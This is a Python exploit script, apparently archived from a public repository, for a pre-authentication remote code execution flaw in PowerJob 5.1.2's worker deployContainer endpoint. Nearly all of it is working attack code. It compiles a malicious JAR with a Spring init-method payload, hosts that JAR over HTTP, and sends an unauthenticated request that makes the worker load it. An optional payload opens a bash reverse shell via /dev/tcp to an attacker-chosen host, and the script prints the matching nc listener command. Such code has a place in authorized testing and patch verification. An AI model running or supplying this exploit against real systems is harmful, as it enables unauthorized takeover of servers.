#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE (see README for attribution/license)
"""PowerJob 5.1.2 — pre-auth Worker RCE via /worker/deployContainer (finding PJ-09, CRITICAL).

Root cause:
  - powerjob-worker/.../actors/WorkerActor.java:32-35 exposes @Handler(path="deployContainer") with
    NO authentication on the worker transport port (HTTP 27777, published by default docker-compose).
  - OmsContainerFactory.deployContainer (OmsContainerFactory.java:97) downloads an arbitrary JAR from
    request.downloadURL, then OmsJarContainer.init() loads it via OhMyClassLoader and calls
    ClassPathXmlApplicationContext.refresh().
  - IMPORTANT: OhMyClassLoader.load() only calls loadClass() — static initializers DO NOT run.
    Code execution happens in the Spring init-method invoked by context.refresh(). So the evil JAR
    must contain oms-worker-container-spring-context.xml with <bean init-method="..."/>.

Usage:
  python3 powerjob_worker_deploycontainer_rce.py <worker:27777> <jar_url>
  e.g. python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.49.128:8000/evil.jar

  Build & host the evil jar (this script can do it with --build-and-serve):
  python3 powerjob_worker_deploycontainer_rce.py <worker> <jar_url> --build-and-serve <bind_ip> <port>

  Proxy (route the deployContainer request through an HTTP proxy):
  python3 powerjob_worker_deploycontainer_rce.py <worker> <jar_url> -p 127.0.0.1:8080
"""
import argparse
import base64
import os
import subprocess
import sys
import tempfile
import threading

JAR_PROPERTIES = "PACKAGE_NAME=com.evil"
JAR_XML = """<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="com.evil.Exploit" init-method="run"/>
</beans>
"""

def java_source(revshell=None):
    """Java source for the init-method payload.

    Note: the deployContainer HTTP response is EMPTY (handler returns void) — there is NO command
    output echo back to the attacker. So for interactive access use a reverse shell (revshell).
    """
    if revshell:
        lhost, lport = revshell
        # /bin/bash parses /dev/tcp (bash extension); /bin/sh=dash does NOT
        cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    else:
        cmd = "echo PJ09_PWNED > /tmp/pj09_pwned; id > /tmp/pj09_id; whoami > /tmp/pj09_whoami"
    cmd = cmd.replace("\\", "\\\\").replace('"', '\\"')
    return f"""package com.evil;
public class Exploit {{
    public Exploit() {{}}
    public void run() {{
        try {{
            Runtime.getRuntime().exec(new String[]{{"/bin/bash", "-c", "{cmd}"}});
        }} catch (Throwable t) {{}}
    }}
}}
"""

def _compile(src, classes):
    """Compile with javac, compatible with JDK 8 (no --release) and JDK 9+."""
    # JDK 9+ : --release 8 (clean bytecode)
    try:
        subprocess.run(["javac", "--release", "8", "-d", classes, src],
                       check=True, capture_output=True)
        return
    except subprocess.CalledProcessError:
        pass  # --release unsupported (JDK 8) -> fall through to -source/-target
    # JDK 8 fallback (also surfaces any real compile error, since it will fail here too)
    subprocess.run(["javac", "-source", "8", "-target", "8", "-d", classes, src], check=True)

def build_evil_jar(out_jar, revshell=None):
    tmp = tempfile.mkdtemp(prefix="pj09")
    srcdir = os.path.join(tmp, "src", "com", "evil")
    os.makedirs(srcdir)
    src = os.path.join(srcdir, "Exploit.java")
    with open(src, "w") as f:
        f.write(java_source(revshell))
    classes = os.path.join(tmp, "classes")
    os.makedirs(classes)
    _compile(src, classes)
    with open(os.path.join(classes, "oms-worker-container.properties"), "w") as f:
        f.write(JAR_PROPERTIES)
    with open(os.path.join(classes, "oms-worker-container-spring-context.xml"), "w") as f:
        f.write(JAR_XML)
    subprocess.run(["jar", "cf", out_jar, "com/evil/Exploit.class",
                    "oms-worker-container.properties", "oms-worker-container-spring-context.xml"],
                   cwd=classes, check=True)
    print(f"[*] evil jar written: {out_jar}" + (f" (reverse shell -> {revshell[0]}:{revshell[1]})" if revshell else ""))
    return out_jar

def serve_dir(dirpath, host, port):
    import http.server
    os.chdir(dirpath)
    handler = http.server.SimpleHTTPRequestHandler
    httpd = http.server.ThreadingHTTPServer((host, port), handler)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[*] serving {dirpath} on http://{host}:{port}")

def main():
    ap = argparse.ArgumentParser(description="PowerJob pre-auth Worker RCE via deployContainer (PJ-09)")
    ap.add_argument("worker", help="worker transport address, e.g. 192.168.49.128:27777")
    ap.add_argument("jar_url", help="attacker URL hosting the malicious JAR, e.g. http://192.168.49.128:8000/evil.jar")
    ap.add_argument("--build-and-serve", nargs=2, metavar=("BIND_IP", "PORT"),
                    help="build a fresh evil jar and host it on this address before attacking")
    ap.add_argument("-p", "--proxy", dest="proxy", metavar="http://host:port", default=None,
                    help="HTTP proxy, e.g. -p 127.0.0.1:8080")
    ap.add_argument("--reverse-shell", dest="revshell", metavar="LHOST:LPORT",
                    help="build the evil jar to spawn a bash reverse shell to LHOST:LPORT "
                         "(needed because deployContainer has NO output echo)")
    args = ap.parse_args()

    revshell = None
    if args.revshell:
        lhost, _, lport = args.revshell.partition(":")
        revshell = (lhost, lport)
        print(f"[*] reverse shell payload -> {lhost}:{lport}")
        print(f"    (listen first:  nc -lvnp {lport})")

    if args.build_and_serve:
        bind_ip, port = args.build_and_serve[0], int(args.build_and_serve[1])
        # 生成到运行根目录（脚本被调用时的当前目录），HTTP 服务指向同一目录，保证 Worker 能拉到 evil.jar
        jar_dir = os.getcwd()
        jar = os.path.join(jar_dir, "evil.jar")
        build_evil_jar(jar, revshell)
        serve_dir(jar_dir, bind_ip, port)

    import requests
    import time
    proxies = None
    if args.proxy:
        if not args.proxy.startswith(("http://", "https://")):
            args.proxy = "http://" + args.proxy
        proxies = {"http": args.proxy, "https": args.proxy}
        print(f"[*] proxy: {args.proxy}")
    # unique containerId/version so repeated runs are not skipped by the
    # "version already deployed" guard in OmsContainerFactory.deployContainer
    cid = int(time.time()) % 1000000
    ver = str(time.time()).replace(".", "")
    body = {"containerId": cid, "containerName": "evil", "version": ver, "downloadURL": args.jar_url}
    url = f"http://{args.worker}/worker/deployContainer"
    print(f"[*] POST {url}")
    print(f"[*] body: {body}")
    r = requests.post(url, json=body, timeout=30, proxies=proxies)
    print(f"[*] HTTP {r.status_code}")
    print("[*] check /tmp/pj09_pwned etc. on the worker host for command-execution evidence.")

if __name__ == "__main__":
    main()